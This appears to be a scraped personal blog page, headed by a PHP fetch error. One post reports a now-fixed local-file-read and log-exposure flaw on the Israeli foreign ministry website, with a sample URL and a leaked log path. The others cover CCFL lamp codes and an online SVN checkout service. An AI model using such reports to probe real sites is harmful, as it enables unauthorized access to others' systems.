Warning: file_get_contents(http://forums.officer.com/forums//BradfordMDC/Core/SelectLayout.aspx?ReturnUrl=/bmdc/default?NRMODE=Published&amp;amp;NRORIGINALURL=%2fbmdc%2f&amp;amp;NRNODEGUID=%7bFF6D29D6-98D7-4C9B-9C8B-1B11573299DD%7d&amp;amp;NRCACHEHINT=Guest) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/subdimen/public_html/elitecop.net/index.php on line 63
Bad URL = "http://forums.officer.com/forums//BradfordMDC/Core/SelectLayout.aspx?ReturnUrl=/bmdc/default?NRMODE=Published&amp;NRORIGINALURL=%2fbmdc%2f&amp;NRNODEGUID=%7bFF6D29D6-98D7-4C9B-9C8B-1B11573299DD%7d&amp;NRCACHEHINT=Guest"!

Friday, 28 February 2014

http://mfa.gov.il/ - read local files from remote


http://mfa.gov.il/

published since they have changed the website and the problems have gone.


Possible remote denial of service (server does'nt respond after several requests) or automatic ban from the webserver (???).
Possibility to read data logs.
Possibility to read local files on the server except aspx and probably similar files.

sample page (old not working anymore but cached by the search engines)
http://www.mfa.gov.il/MFA/HPChannel/President-Peres-+Reply-to-the-Goldstone-Commission-Report-16-Sep-2009.htm

Sometimes, random errors are showing up with the same data. I don't know the cause.
_______
Error num [14]: The process cannot access the file "D:\Logs\MFA2003_19_11_2012.log" because it is being used by another process. (ChannelName=|/Channels/MFA/HPChannel|)
_______

List of CCFL Lamps and Codes for LCD Screens

I've create a small list of the most common CCFL Lamps for LCD Screens.
You can download it from google drive and it's in libreoffice/openoffice (ods) format
LCD CCFL LAMPS List


Please, add more informations and compatibilities with specific screen models or inverters.
I'm working also on a list of inverters and relative compatibilities but it's quite big.

Monday, 13 January 2014

online svn checkout

To Checkout SVN Repository online visit the following site

http://svndownload.eu5.org/

online svn checkout

Online service to download a SVN repository / folder

Twitter Delicious Facebook Digg Stumbleupon Favorites More